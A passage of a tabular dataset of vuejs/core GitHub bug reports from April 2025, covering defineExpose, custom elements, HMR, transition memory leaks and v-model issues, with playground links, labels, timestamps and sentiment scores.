https://play.vuejs.org/#eNqFUstOwzAQ/BXLF1KpSg9wKmklQD2AxEOlR1+iZBNSHNvyI0SK8u+sHZqmFYWbd2fGnvVsR++UihsHdEkTk+lKWWLAOrVmoqqV1JZ0RIpn6YSFnPSk0LImVyi4up0wnIEd1IqnFrZQnNOYyKQwlmgoQIPIgKzOFBGjI8joLGjGV6NoRlZr0jFBjlfETcodxIWUkaf3MyaSxTAAWsfC/tyOFSHJg6yVF69OHlonCw8gJVlM+HROrUHLRVXGeyMF/k14nNEM2RUH/apshSMxuhxseSzlXH49hZ7VDuaHfvYB2ecv/b1pfY/RNw0GdIN+RsymugQ7wJv3F2jxPIK1zB1H9h/gFozkznscaPdO5Gh7wgtuH0N+lSh3ZtNaEOYwlDfqmX3gM4pB+o+6NPrR7nV8E3SYCP6i11xYrmEjMD7chUm+vi05xFyWuBMID9uA9zGRQ1EJ2LRKGoi6oP0v9rxqwgFN+nIx1Kdh998CHQSu

### Steps to reproduce

The bug should automatically show when the playground opens. It throws errors cause `reference.value.foo` ""is not a method"" but it actually is, and it is exposed via `defineExpose` function.
Accessing the method via `reference.value?.$.exposed.foo()` works fine.

### What is expected?

To be able to access exposed method without too much hassle

### What is actually happening?

The exposed method is not shown in autocomplete and throws an error when called

### System Info

```shell
System:
    OS: macOS 15.1
    CPU: (8) arm64 Apple M2
    Memory: 85.61 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  Browsers:
    Chrome: 131.0.6778.86
    Safari: 18.1
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comment... [TRUNCATED]",,2025-04-15 09:53:34+00:00,2025-04-15 10:02:26+00:00,1,nan,0.0062,defineexpose not actually exposing from component vue version link to the bug should automatically show when the playground opens it throws errors cause is not a method but it actually is and it is exposed via function accessing the method via works fine what is expected to be able to access exposed method without too much hassle what is actually happening the exposed method is not shown in autocomplete and throws an error when called system info any additional comment truncated,others,-0.7538
vuejs/core,2994995773,用vue构建web-components组件库，输出dist时，如果没有将vue外部化，那么其他vue项目引入时，会破坏热更新。,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/xinnian999/arto-ui

### Steps to reproduce

pnpm i 
pnpm build 用vite+vue构建web-components组件库（这一步并没有外部化vue）
pnpm dev 运行一个vue项目并引入了上一步构建的dist

这时候修改play/vue下的代码，热更新会失效

### What is expected?

期望即使我将vue构建到了组件库dist里，别人引入我的组件库也不会破坏vue的热更新

### What is actually happening?

![Image](https://github.com/user-attachments/assets/049b657d-0e9a-45c5-b077-cec63c5b4392)

### System Info

```shell
System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 Intel(R) Xeon(R) Gold 6234 CPU @ 3.30GHz
    Memory: 13.60 GB / 31.65 GB
  Binaries:
    Node: 20.18.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 10.8.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.12.1 - ~\AppData\Roaming\npm\pnpm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (129.0.2792.89)
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_","scope: hmr,has workaround,🔩 p2-edge-case",2025-04-15 03:49:28+00:00,2025-04-16 02:08:32+00:00,7,"scope: hmr,has workaround,🔩 p2-edge-case",0.9299,vue web components dist vue vue vue version link to pnpm i pnpm build vite vue web components vue pnpm dev vue dist play vue what is expected vue dist vue what is actually happening image system info any additional comments no response,others,0.0516
vuejs/core,2992469235,[custom elements api] Cannot set properties of null (setting 'parent') with { shadowRoot: false },"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVU1v2kAQ/StTXzAKH+nHiQJqg5CaHtooidSLL449hk2WXWt3DZGQ/3tnvXZsg0OD0hN45s3s23nP4733PU1H2wy9iTfVkWKpAY0mS+eBYJtUKgN7hckAIrlJM4NxDomSG+hRSe8Fslj+UWGaovotsMyPxs2gPaEDfr+Tx3AKlvBARFJoA0zfreVOwAyIip+EXGP/a52OZCZMmbzs1/GHzBgp7vHZJiv+vt+fzWEfCACWgF/UjrYhzxBmsxlc9qmNyZSAnj2zfTNqa1AYYtZd/LEu/sFiPK/40xtOhnAVMgGhiEkkBLNGQKWk6mw6b7a8NrBjnIPALSqKiph+im5UmxdDC0SSicgwKWBNJyC/Kua34Cx68vtuYk6IijV8aAUsokHg4oI6B2I6drYiQ9GDwU3KQ4P0BDB1CsG3yJ4xC7yjcwNvvt/XOub5dOyeim7UoTWlSUmHOpX/qN7CmkCy19id3nIohabjBjtv4BlNY0/YavSopaD3oxhB4FknMU5FqZ2VDryJs5PNhZzL3c8iZlSGgyoerTF66og/6mcbC7wbhRrVFgPvJWdCtULj0su7X3T9RnIj44wT+kTyFrXkmeXoYFeZiIl2A1ewvS7eSSZW93r5TCbT1aUsUYvMC3zg0Tu5OHH1mu7n0ZeijuSnKS4ybeRmyXFDBi5XweGyAR6KFalmqGVj8UCMCRN4o2Sqobl4ipe/kZw23TmBByk5hgTJ5z5Z+5QDY7aF7ZAlXZbRXBqovELADou0LlcuLnu5o0PO6XmwN987rHrtHihRr94OieyMD1q3YO/Qo9rPi6UlMevq7h9SGhALvQ5jubuV0kyg+AiAW1x28X2ImgV6RFb0ey42RBccSoG9ft859gDuKHRWDBxP+8H5xzY7LrYbaahfW0nWC5UVjmtPOaPhtFe+2W+RrMsWrS9yh7md1JV+Fv0G/Qj2P/QzO3mmfrbC6kcEztePikul3GWgTAAlqg9yp3iusCGel/8FmKlMQQ==

### Steps to reproduce

Click on the button multiple times and see `Cannot set properties of null (setting 'parent')`

### What is expected?

No issue with setting parent and `Custom element two content` renders properly when we click on the button multiple times

### What is actually happening?

First time custom elements are mounted properly, then we hide them clicking on the button.

When we click on ... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-04-14 09:30:41+00:00,2025-05-22 00:05:41+00:00,0,":hammer: p3-minor-bug,scope: custom elements",37.6076,custom elements api cannot set properties of null setting parent with shadowroot false vue version link to click on the button multiple times and see what is expected no issue with setting parent and renders properly when we click on the button multiple times what is actually happening first time custom elements are mounted properly then we hide them clicking on the button when we click on truncated,bug,-0.4404
vuejs/core,2990451099,Incorrect error message when `<script>` `<script setup>` has different languages,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kcFKxDAQhl8l5qRQWpbqpbQFlQX1oKKCl4CUdqxd0yQk01pY+u5OUnZdRb0l838z88/Mlp8bE48D8IznrradQSYr1RaCoxO8FAomoy2yWiuHrGIFWwmVJwtKMn1+pk2CMwc4GJKXtEvdG8o8PmFFyXJTXoGUOmLP2srmKE88+L0kQm9khUA/xvKQngToQOAR9aL6r10bb5xWNMHW44LXxHcS7J3BjvoLnrGgeK2izh83IYZ2gGgXr9+gfv8lvvHjZPS4t+DAjiD4XsPKtoCLvH68hYnee7HXzSCJ/kd8AKfl4D0u2MWgGrJ9wAW3172/QKfaJ7eeEJTbDeWNenIOvOB0Rr+qv0b/spvGpyFPqJm2+DKC9TVpgWl8Fq9SPn8CK16u/w==

### Steps to reproduce

See the reproduction.

### What is expected?

report `Error: [@vue/compiler-sfc] <script> and <script setup> must have the same language type.` rather than random errors.

### What is actually happening?

it reports `SyntaxError`

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (6) x64 AMD Ryzen 5 4500U with Radeon Graphics
    Memory: 637.19 MB / 7.23 GB
  Binaries:
    Node: 22.13.1 - C:\nodejs\node.EXE
    Yarn: 1.22.22 - ~\AppData\Local\pnpm\yarn.CMD
    npm: 10.9.2 - C:\nodejs\npm.CMD
    pnpm: 10.7.0 - ~\AppData\Local\pnpm\pnpm.EXE
    bun: 1.2.7 - ~\.bun\bin\bun.EXE
  Browsers:
    Edge: Chromium (133.0.3065.92), ChromiumDev (136.0.3209.2)
    Internet Explorer: 11.0.22621.3527
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-04-12 12:34:52+00:00,2025-08-20 13:05:53+00:00,0,"scope: compiler,🔩 p2-edge-case",130.0215,incorrect error message when has different languages vue version link to see the reproduction what is expected report rather than random errors what is actually happening it reports system info any additional comments no response,bug,-0.765
vuejs/core,2988257276,Memory leaks when using a named transition component inside router-view,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ygssbhjs

### Steps to reproduce

Navigate to the first child page, then to the second one, and return to the main page.

### What is expected?

Detached DOM elements and objects should be cleared from memory.

### What is actually happening?

Detached DOM elements and objects remain in memory.

<img width=""1345"" alt=""Image"" src=""https://github.com/user-attachments/assets/bb28d168-95fa-4c20-a83e-bbc44a9ddd12"" />

<img width=""1345"" alt=""Image"" src=""https://github.com/user-attachments/assets/2faded28-14fd-46f5-9d4b-99ece5bbde81"" />

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 1.21 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.11.1 - ~/.nvm/versions/node/v20.11.1/bin/node
    npm: 10.2.4 - ~/.nvm/versions/node/v20.11.1/bin/npm
  Browsers:
    Chrome: 135.0.7049.84
    Safari: 18.1.1
  npmPackages:
    vue-router: ^4.5.0 => 4.5.0
```

### Any additional comments?

Not 100% sure, but it might be a `vue-router` bug, not something in Vue core.",can't reproduce,2025-04-11 10:29:12+00:00,2025-04-12 00:38:02+00:00,4,can't reproduce,0.5895,memory leaks when using a named transition component inside router view vue version link to navigate to the first child page then to the second one and return to the main page what is expected detached dom elements and objects should be cleared from memory what is actually happening detached dom elements and objects remain in memory system info any additional comments not sure but it might be a bug not something in vue core,others,-0.6986
vuejs/core,2987569749,Watch runs unnecessarily when deep is true,"### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2L2zAQ/SuDLk4gKOymvaTx0g/20B7a0paeBEWRJ7aysmT04QSM/3vHMtmkS9mT0Mx78948aWAfuo73CdmW7YLyuosQMKbuQVjdds5HGOAko2pghIN3LRQELt7ddD1KFXWP/wCEFdZgBLc/QvkMWQygrUW/JVrEc9xCcXe/KYg5LidGFlockiW0s4slwYQFosfk7TSLZzqfuGRhXMHC4um3NCtwpqJzCeUDDBNHORucQW5cvShiowOExiVTgXURfLKwRyVTwOwDKochd1QjbY3Fkqa/mNFLkwgkPUKQLW6LFczaUJblRT57GqBC7LYQfcIV6LbFSsuIc4E2pdnC7tZz2pQzXSK2nSEM3QB2+xSjs/BeGa2eSsEoiMtacE2Bch2Ac34tjBNiFCxPARiGF5HBmBG79SxAsN36RpmtWAy080HX/BicpS+RNQVTru20Qf+tm94lCEYPOGsIJo1xpy+5lhe+1FWD6uk/9WM4TzXBvnsM6HsU7LkXpa8xzu3Hn1/J8k2zdVUyhH6l+QPpvdLkcYZ9TLYi2ze47PZz/rra1r/C4zmiDZelJqM5w4wXjH7yp1dWv9rd8Ddz9nakFP/06KeZFOCGv+V392z8C08MImU=

### Steps to reproduce

click the button

### What is expected?

because the text doesn't change, I would expect it not to run

### What is actually happening?

console.log triggers on every click, even though the text itself does not change

### System Info

```shell

```

### Any additional comments?

### Why would I use `deep` for a string?
I stumbled upon this case when I was trying to watch a number of strings like so:
```
watch(() => [props.obj.id1, props.obj.id2], ..., { deep: true });
```
but it was running even though the ids had not changed. Turns out the watch source was being evaluated as a reactive effect. I suspect from here: https://github.com/vuejs/core/blob/32bc647faba56f50a37d18b08fcc0e11b49c791f/packages/reactivity/src/watch.ts#L286","scope: reactivity,🔩 p2-edge-case",2025-04-11 05:15:14+00:00,2025-04-14 08:48:53+00:00,4,"scope: reactivity,🔩 p2-edge-case",3.1484,watch runs unnecessarily when deep is true vue version link to click the button what is expected because the text doesn t change i would expect it not to run what is actually happening console log triggers on every click even though the text itself does not change system info any additional comments why would i use for a string i stumbled upon this case when i was trying to watch a number of strings like so but it was running even though the ids had not changed turns out the watch source was being evaluated as a reactive effect i suspect from here,others,0.0
vuejs/core,2982499874,Memory leaks when using transition-group,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1v2zAM/SusLrWB1M6Q7dI5wbqhwLbDNmw7Cghch3bVyJIgyU6CwP+9lNwkBfppwLbIRz4+UtyzK2OyvkN2yQpXWWE8OPSdWXAlWqOthz1YrGGA2uoWzin0/PMR+6Zb8wBkeTACVcC5qrRyxHWrNwrmgSKpS+kwJbDIx0pUgwyPrZGlR7IAipvOe63gSyVFtZ5zdiA4iwfOFl43jUTohRM3Qgq/K/IxJ7IRg7elcsILrS4aq2MnQE8RtfYXoj6wcgb5WDR/JoecJ2FswryjjmrRZHdOK5rWPmRyVhGrkGh/m5DtOLuEiASslFJvfkaftx1ODv7qFqv1M/47tw0+zv5YdGh75OyI+dI26Ef4+t8v3NL5CLZ61UmKfgX8i07LLmgcw752akWyH8VFtT/ivQrV/HfXW480lIemgtAQOcR4zuiew0Bfav0kd5Z9jHlcDTTFw468c91iHc5O++SRPuM6KdzAlbXlLplNl9NpfNOsFlIm9G9LkyTLCYgU5gtI9iBgSNO3tm8l+sV3pEFMoMVW2x1ILNdnRR6Apzux7NGGCVE3s+xT9mHGhnsA0RtH

### Steps to reproduce

Toggle the visibility of the component and observe memory usage increasing. The detached element also remains in memory.

### What is expected?

Memory should be cleaned up after the component is hidden. The detached element should be removed from memory as well.

### What is actually happening?

Memory consumption increases when toggling component visibility. The number of detached elements also grows.

<img width=""415"" alt=""Image"" src=""https://github.com/user-attachments/assets/ae940d52-db96-4d70-aae1-fd59aa943a86"" />

<img width=""893"" alt=""Image"" src=""https://github.com/user-attachments/assets/c5085535-8804-44f2-bb51-609e2df1293a"" />

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 1.21 GB / 16.00 GB
    Shell: 5.9 - /bi... [TRUNCATED]","scope: transition,:exclamation: p4-important",2025-04-09 11:20:54+00:00,2025-05-01 09:58:08+00:00,3,"scope: transition,:exclamation: p4-important",21.9425,memory leaks when using transition group vue version link to toggle the visibility of the component and observe memory usage increasing the detached element also remains in memory what is expected memory should be cleaned up after the component is hidden the detached element should be removed from memory as well what is actually happening memory consumption increases when toggling component visibility the number of detached elements also grows system info shell system os macos cpu x intel r core tm i h cpu ghz memory gb gb shell bi truncated,others,-0.0258
vuejs/core,2982295169,"transition包括的文件根节点中如果出现注释代码,则页面切换时白屏","### Vue version

3.5.6

### Link to minimal reproduction

https://juejin.cn/post/7491093307209973812

### Steps to reproduce

<template>
  <!-- <div>注释</div> -->
  <div></div>
</template>


### What is expected?

在注释代码也应抛出警告提示,方便排查问题代码

### What is actually happening?

transition包括的文件根节点中如果出现注释代码,会导致页面切换时白屏,也不会抛出警告提示

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-04-09 10:02:06+00:00,2025-04-13 00:34:55+00:00,3,can't reproduce,3.6061,transition vue version link to what is expected what is actually happening transition system info any additional comments no response,others,-0.296
vuejs/core,2981285415,JsDoc Unable to document v-model,"### Vue version

3.5

### Link to minimal reproduction

[SFC Playground](https://play.vuejs.org/#eNqVVM2O0zAQfpVZX7os20YqnEq74keVAAlYAYID5hAl0zRLYlu2k21VKvEY3PYVeQTGdhLSst3unmLPN/H3zXg+b9gLpUZ1hWzCpibRubJg0FYKilhkM86s4eyCi7xUUlvYgMYFbGGhZQkD+m3QQa9kqZr4KHIbd+rg2Q4+3kkYtxlcJFIYC6XJYOYYTgevsSgkfJW6SE8Gj7iYRkEcSaGNxVIVsUXaAUxPhkOoTC4ySHGRC3wnUyzOQUi7dEGzlNcGFlJDPSwDVEqZgtJSGcgJon9gOAyH+TKaRCqfJHHm82mzjJVa0zbyKg4zgxTFGozVDrFrhV6DlzDxBw/ruKiQEo8J6ac/WM2lP/dxs5uXuTUjaDKaCsGshY1XYKos1q5lkMpkp1l9OeP/GtPnvi+1kGKPtlek469KFLZryK6AWxvyvFIpTcMeVss85cwpnEa9gWHnNNM0b4s8G10ZKWjwN46As4QY8gL1B2VzmkfOJuARh8U0jtdvfcxquro2niwx+XFL/MqsXIyzS40GdY2cdZiNdYY2wPNP73FF6w6kGqqCsu8AP6KRReU0hrSXlUhJdi/Pq33jfUcd/2zmK4vCtEU5oS5z6/OpURW65h4q/Z/cJ6On/j8uttTF1uNHXo7o7Ix+OoMYLDqPuzvyV+SiUWd9P42zvo+mwUAXp2T/Ni1YpU3zUzb1QgMLEE9lcGC8R0bw5+b3L6BZpu9NgIkwuM41rnXQT1qbmIaFCvN0d702aV6HRRRW+8PVvWxH+nLvgkJrgjucMT3BTjWEf3HwpHlz2jJaEnT+60i8GwMJZ33n+DPcPX8Lx3x/SDtoaQpp/YtwqDnbvy1TKxM=)

### Steps to reproduce

see SFC playground

### What is expected?

defineModel can show documentation when lsp hover. 

### What is actually happening?
```vue
<template>
  <!-- using defineModel, nothing shown for v-model, mood props is fine -->
  <Comp v-model=""msg"" mood=""happy"" />

  <!-- using defineModel,  only type shown for :model-value, mood props is fine -->
  <Comp :model-value=""msg"" mood=""happy"" />

  <!-- using defineProps + defineEmits.  using v-model syntax sugar, no docs for v-model-->
  <Comp2 v-model=""msg"" />

  <!--using defi... [TRUNCATED]","scope: types,language-tools",2025-04-09 01:15:41+00:00,2025-04-09 13:51:31+00:00,2,"scope: types,language-tools",0.5249,jsdoc unable to document v model vue version link to sfc playground see sfc playground what is expected definemodel can show documentation when lsp hover what is actually happening vue using defi truncated,documentation,0.0
vuejs/core,2981162687,Diff/Reconciliation for JSX elements is wrong,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8GO2jAQ/ZWRLwtSmqiivVBYtdtupfbQVi0HEF5VJpkQL44d2U6WFeLfO04IIJVFm0vkN+/NPM+Md+xTVcVNjWzMJi61svLg0NcVKKHXU8684+yWa1lWxnrYQRGBxq2fyXQTgcU8gq9WrEvUHvaQW1PCDWW7+cA116nRzsMcplAMOMtkwxmpa6WiFnCV0CeEszlnwyEJO9nitbLFQdYLBQmXxaC31ROXi4dhSHAJfzhWXb0gnl8XH2unXjZIOagzA9G5ymtNqNGhr3eDIey4Bvo6atwIVQfBirj7/+hfMEdrMTvJkoQCWDrwBkztXSloLJnM88QieUilkqKVr+r1xULL4Dfg/RgHoVCwSuUnSbcDNHE6eCwrJTzSaVLdzgp0CP7JUGrv6brgClOrDApBV/YFghMlwgrpLI2NAi3Az5AZ0MbHk6QKmTo1fEwVFacNC+Vpx+gHq0nSRV/i9f3o+ZAdgHNhbxuaN7mxpBxkEcghSH3oBWcw3uAzRWS73KEbk9TQiuuwx2PpphkkIVVy3oLzA4voZVC/c7mOH53R9HzaAXEW8kiF9mcVxkCvZ9yPjjOhlHn63mLe1hj1eFpgurmAP7ptwDj7Zan3Njg/xrywa/Rd+P7PDxrmWbA0Wa2IfSX4G51RdfDY0e5qnZHtM17r9lv78KVez9z91qN2/aWC0cDct3zO6NV/vnL1k91R/K7V0cJRF/82aENOauAofh+/HbH9P5XNhak=

### Steps to reproduce

1. Click the ""set b"" button. Note that the following text reads ""Y X"".
2. Click the ""set b deferred"" button. Note that the following text reads ""X Y"".

### What is expected?

The text should be ""X Y"" in both cases.  There is something going wrong with virtual DOM or something.

### What is actually happening?

The text is different after the the two button presses.

### System Info

```shell
Firefox
```

### Any additional comments?

Full code of the repro in a single SFC:

```
<script setup lang=""ts"">
import { h, nextTick, ref, Fragment } from 'vue';

const X = h(""div"", null, h(""span"", null, ""X""));
const Y = h(""div"", null, h(""span"", null,... [TRUNCATED]",,2025-04-08 23:44:36+00:00,2025-04-09 00:34:07+00:00,2,nan,0.0344,diff reconciliation for jsx elements is wrong vue version link to click the set b button note that the following text reads y x click the set b deferred button note that the following text reads x y what is expected the text should be x y in both cases there is something going wrong with virtual dom or something what is actually happening the text is different after the the two button presses system info any additional comments full code of the repro in a single sfc import h nexttick ref fragment from vue const x h div null h span null x const y h div null h span null truncated,others,-0.7351
vuejs/core,2979037392,"When referencing an asynchronous component, it is not possible to correctly obtain the exposed properties and methods from the reference.","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Vl1v2jAU/StX2UOChEiT7YkBWtf1YXvYqsLbMk1puIG0IY5iB5gq/vuu7SQmIaVr1SFEsO/XOfbxdR6tyzwfbUu0xtaER0WSC+AoynwWZMkmZ4WARyg5LnCTp6HAW4zhAHHBNmBTlP2xcbvkf7Loim28yjpymxmZv8fTP/H0O540lTdOclDbI5ZxAWEVRqA8mHZgOnZt9mhkD3qC/DNBfivIxPSEGKMJWIfZMsWrNIkeKMIZwHQGj0EGkMTgHOMebcO0xIE2ArguLNYICeUIswiBxRowRMSeZZgJiMIM7hBWSFWwQB0nq7IURylbGQ4mvz1sLVZVtCm5ZjvcYjEEQbVxnzOOSyAEgpBwKLMlxgn9LE9rnWYdCeRiLmNV/kMPadrm/0q6yt8mXRd9W9JV1qdIG8fnKb+YcTc58T2p11Q7JWkKiD6S3VSnFOk7cXXPoG5BA1GdChoBTOYlzzHjekTj2grvaGXDMpVB0kAm0zsKjKeBdXxyA2s2Ma2kTua2arWyx2Ga3oXRg0m/TLazlIXLJFt1heVNXGntzTpxWxReQ8jvEJJdpUXIf2tC/gsIqfaqAZrdVvCkRfvclUKwDD5FspWR41FjI0+pTqkLLamJq70pslXZGlqCk7biZDW65yyju0Ydg8CSsJMUix+5SEh7gTWuDwitWZqy3Tc1J4oSh/V8tMbooWf+nu/lXGDdFMix2GJgNTYRFgRVm6/n33FP/xvjhi3LlLzPGG+RzkUpMWq3z9QeCPaRn0L7VV1btCsLfr0XtNA1KQlUnRrlH1h0jcklfoq6gft+9KE+bbSKrRu158bWdw+FztkGv4QipLtH6+PoBirIuaBnhju4obs14eg4tGQs3eJgOqtAUMpFskFWCscxszJaOTq253nyupNzhyF4FxcXui/QL6ENd2HSQuLQfKB7Kl6rPuSonE1XGYMdyo9N8eR7rrM0AudlFCHnIM+COQjeSItdu3WVWL9G9CzfOXSK72uhtY/oOXStNyEDkYyyedMrUdVq9Fbqhj6Gn3YD1P6lJKYXQxFzfg/pHU670vbUKvsnregdV3rplUvLsSOajq1fOl35qHEtK/14QkrSpEnprZKfYzHRZplkz99Wz2jKP6Opw18jpMXj

### Steps to reproduce

An error will occur when you try to use the properties or methods exposed by an asynchronous component. Whether you use `defineExpose` to expose them in the `setup` function or use `expose` in a non-`setup` environment, you won't be able to correctly obta... [TRUNCATED]","scope: suspense,:hammer: p3-minor-bug",2025-04-08 08:35:09+00:00,2025-04-08 09:12:39+00:00,1,"scope: suspense,:hammer: p3-minor-bug",0.026,when referencing an asynchronous component it is not possible to correctly obtain the exposed properties and methods from the reference vue version link to an error will occur when you try to use the properties or methods exposed by an asynchronous component whether you use to expose them in the function or use in a non environment you won t be able to correctly obta truncated,bug,-0.128
vuejs/core,2978141535,Same-name shorthand (`:type`) breaks radio group behavior,"### Vue version

3.5.13 

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVcFuGjEQ/ZWRT0QK0KQ9uSRSU3FoUUOURD1Zqja7XmritS3bS0Fo/71jm12WhiC1x+bCembejJ+fx8OWfDJmtKo5oWTiciuMB8d9ba6ZEpXR1sMWLC+hgdLqChhBLCMfu+ijXixk9iT5Te29Vj/msxY4Gr+MhZ1OZd/cz2fT29crpHhXhalcK+chr63lyn/PZM3hKvAdqFrKsx5EGy9wMX9a8twjZssUAJbm8oKGU4XUC0bOO/dl576M7gaLTcZJIhQHDc8rIzPP0QKYVJlQcYXrQqyu+5wobLeHJJtmMg6oUCimOKSFBHcVAOYz2sZ2BVsDzZfC7oMAq2Gp7RUjg8j+HJ755gyEOpSAkX4KRQxm4O+hfzWsdMElhvrs/8iNch3LppEARuL3MOY3JkRsVgjdj4y7c7YCpfVen1cES63xF6KlhDckXLB2XToZ95oXTec3Miyp1RpffMCWWvlhmVVCbii4TLmh41aU+AoapkKZBCuEwzoIKSVfYxATcTEshE37Usi1rCsVQ4vMULh4ZwIQqyC53b7knHiHD7UUi9HSaYXTKFZH+XRlhOR2nu6AEXxL6WiMZFLqX1+jz1u8sNaf/+T58xH/0q2Dj5E7y/EwK1S2i/nMLjhebghPH275GtddEO+ylog+EbznDs8ZOCbYTa0KpN3DRbZf4twTavHopmvPlWsPFYgGZBPxccx+PnH0Pd33ow8xDxVFFY+P3CPDveClUPzOauMG+1lI4cFbZBdJhE47cMRupBBGaxiI/fEaux3Hair7LViD7a5CwENEn5qfcf+2a4Uyte89ovhlBOiu+8MnmJFRbP2UiGM21sH5mvq9rXrQ8Ed02v+x/F9a/bNEzW/E86KX

### Steps to reproduce

1. Open the [linked playground](https://play.vuejs.org/#eNrlVcFuGjEQ/ZWRT0QK0KQ9uSRSU3FoUUOURD1Zqja7XmritS3bS0Fo/71jm12WhiC1x+bCembejJ+fx8OWfDJmtKo5oWTiciuMB8d9ba6ZEpXR1sMWLC+hgdLqChhBLCMfu+ijXixk9iT5Te29Vj/msxY4Gr+MhZ1OZd/cz2fT29crpHhXhalcK+chr63lyn/PZM3hKvAdqFrKsx5EGy9wMX9a8twjZssUAJbm8oKGU4XUC0bOO/dl576M7gaLTcZJIhQHDc8rIzPP0QKYVJlQcYXrQqyu+5wobLeHJJtmMg6oUCimOKSFBHcVAOYz2sZ2BVsDzZfC7oMAq2Gp7RUjg8j+HJ755gyEOpSAkX4KRQxm4O+hfzWsdMElhvrs/8iNch3LppEARuL3MOY3JkRsVgjdj4y7c7YCpfVen1cES63xF6KlhDckXLB2XToZ95oXTec3Miyp1R... [TRUNCATED]","scope: compiler,scope: v-model,has workaround,:hammer: p3-minor-bug",2025-04-07 22:34:19+00:00,2025-09-24 13:23:08+00:00,0,"scope: compiler,scope: v-model,has workaround,:hammer: p3-minor-bug",169.6172,same name shorthand breaks radio group behavior vue version link to open the linked playground truncated,bug,0.0
vuejs/core,2976897913,Options API: exposed (computed) property on child component accessed through ref isn't reactive,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVltv0zAU/ivGIGWVSgoavJSWDaYNDYmLGA+bFoSy5LT15tjBl9Kp6n/n2GlTN007NM0vtX3uPt930jn9UJbx1ALt04GBouSpgfeJILgGOZsut/54xjici9Ka9Z1b05eFzIEPEzpCBZ3QTbGCEYpsyWWah7Je6BojEW3uOaDqTZrdjZW0Iu+T52evXiWUHGecZXcoy6TQkkOcw40dH7xA3/o6qnxHv7qk2n0CY0B1SUN8FDN9LqYpZzk5OiLRKOXcxYo27XaqdRIapOzWfL7TcjgcEqwARkwA+iFRfYhInxyEZmE8EjFNWHVyiu5YHTpksdiKvqfCBxJoWD42hwHbxoNb5r70rbTGSNFEhAdNyq3TuLxsk/ZzptMbDnmNnNbeGGWhaR7C6kkyvLp6KMP9OHsoyUFvTbPVftALqIhHnSlWmqUSK0qpDKnZSEZKFiSKe/WN43P0zlk6fZh5fex+arkh83XoPDXpQSe8qQhrrBLNW7c8v/tEWM67m9IFRqv3gSyTBeYDyOSGu7Cr2ylUpiHVl69bOyQZ0hKx3AkCNwowE6bjRm8a2mGqzbSlAGGw2kZq9SO3mLpXGPTqZtEuNRrLGLFxfKulwBHrnbkxVpToR30rDcMyE1qHSSjWJf9+9ncOOkvXaDOB7K7l/lbP3F1CvyvQoKYItlpmUjUGU4lPL77CDPe1EKe25ai9R/gDsAXW5VipfcQhgmkHej7bc49IJsY/9enMgNCrojz2UbN6oIQiLk/2lL5O9zB+4+0SscBX3AB224eqwfEltx1cQ+Yp+GOZgnx9c5xNUjF2uviLlblAJ/5q0859waoYy2tH4L0k3U26UskSYXUdrdLBD9fjKemnVCsl/aioxtAFcMjcc39Jc1QO4PNo/tYjrp28IQXbkvhPHhb4LwCjb8fY6ZgMybOQ+L5r+H3zmszcV5sd1RZgJjLf5nwTHO01+7C+H5hEWw5+fLbMq6crZt9bOkRq7D66WfWuRt7G4ELC/Z6CciRGrh3Gb+PXh3TxD2yg9qY=

### Steps to reproduce

1. Click the red bar, to the right or left of the disabled buttons.
2. Check the console debug output. The input should be invalid.
Optional steps:
3. Select any file for the file input
4. Repeat steps one and 2 - this time the input should be valid.


### What is expected?

The template does not show ""undefined"" as the value of the exposed method. When the... [TRUNCATED]",,2025-04-07 13:33:28+00:00,2025-04-07 17:46:23+00:00,2,nan,0.1756,options api exposed computed property on child component accessed through ref isn t reactive vue version link to click the red bar to the right or left of the disabled buttons check the console debug output the input should be invalid optional steps select any file for the file input repeat steps one and this time the input should be valid what is expected the template does not show undefined as the value of the exposed method when the truncated,others,0.2023
vuejs/core,2971820776,Component with Teleport root node inside <Transition> cannot be animated,"### Vue version

3.5.13

### Link to minimal reproduction

